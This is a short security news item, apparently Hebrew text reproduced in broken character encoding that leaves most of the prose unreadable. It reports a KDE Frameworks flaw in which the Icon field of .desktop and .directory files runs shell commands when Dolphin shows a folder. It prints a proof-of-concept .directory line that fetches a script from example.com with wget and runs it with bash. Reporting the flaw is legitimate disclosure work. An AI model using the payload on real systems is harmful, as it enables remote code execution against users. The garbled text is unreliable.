ื-KDE ืืืืื ืคืืืขืืช, ืืืืคืฉืจ ืืชืืงืฃ ืืืฆืข ืคืงืืืืช ืฉืจืืจืืชืืืช ืืืฉืจ ืืฉืชืืฉ ืฆืืคื ืืกืคืจืืื ืื ืืืจืืืื ืืืืืืื ืงืืฆื ".desktop" ื-".directory" ืฉืชืืื ื ื ืืืืืื. ืืชืงืคื ืืืจืฉืช ืืืืฉืชืืฉ ืคืฉืื ืืืฆืื ืจืฉืืื ืฉื ืงืืฆืื ืืื ืื ืืงืืฆืื ืฉื Dolphin, ืืืืจืื ืงืืืฅ ืฉืืืื ืขืืืื ืืืื ื ืื ืืืจืืจ ืงืืฆืืจ ืืจื ืืฉืืืื ืืขืืืื ืื ืืืกืื. ืืืขืื ืืชืืืืช ืืืืืืจื ืื ืืืืืช ืฉื ืกืคืจืืืช ืืกืืจืืช KDE 5.60.0 ืืืจืกืืืช ืืฉื ืืช ืืืชืจ, ืขื KDE 4. ืืคืืืขืืช ืขืืืื ืขืืืื ืฉืึฐืจึดืืึดืื ืื ืืชืืงื (CVE ืื ืืืงืฆื).
ืืืขืื ื ืืจืืช ืขื ืืื ืืืฉืื ืฉืืื ืฉื ืืืืืงื KDesktopFile, ืืฉืจ, ืืขืช ืขืืืื ืืืฉืชื ื "Icon", ืืื ืืจืืื ืืชืืืื, ืืขืืืจื ืืช ืืขืจื ืืคืื ืงืฆืื KConfigPrivate::expandString() ืืฉืจ ืืืฆืขืช ืืจืืื ืฉื ืชืืืื ืืืืืืื ืฉื ืืขืืคืช, ืืืื ืขืืืื ืืืืจืืืืช "$(..)" ืืคืงืืืืช ืืืืฆืืข . ืื ืืืื ืืืจืืฉืืช ืืคืจื XDG, ืืืฉืื ืืฉืืคื ืืืืฆืจืื ืืื ื ืืขืืคืช ืืืื ืืืคืจืื ืืื ืกืื ืืืืืจืืช, ืืืืืจ. ืื ืจืง ืืขืช ืงืืืขืช ืฉืืจืช ืืคืงืืื ืฉื ืืืืฉืื ืฉืืืคืขื, ืืื ืื ืืขืช ืฆืืื ืืกืืืื ืืืืฆืืื ืืืจืืจืช ืืืื.
ืืืฉื ืืชืงืืฃ ืืื ืืกืคืืง ืฉืื ืืืฉืชืืฉ ืืจืืืื zip ืขื ืกืคืจืืื ืืืืืื ืงืืืฅ ".directory" ืืื:
[ืื ืืกื ืืฉืืืื ืืขืืืื] ืกืื=ืกืคืจืืื
ืกืื[$e]=$(wget${IFS}https://example.com/FILENAME.sh&&/bin/bash${IFS}FILENAME.sh)
ืืืฉืจ ืืชื ืื ืกื ืืืฆืื ืืช ืชืืื ืืืจืืืื ืืื ืื ืืงืืฆืื ืฉื Dolphin, ืืกืงืจืืคื https://example.com/FILENAME.sh ืืืจืื ืืืืืฆืข.
ืืงืืจ: OpenNet.ru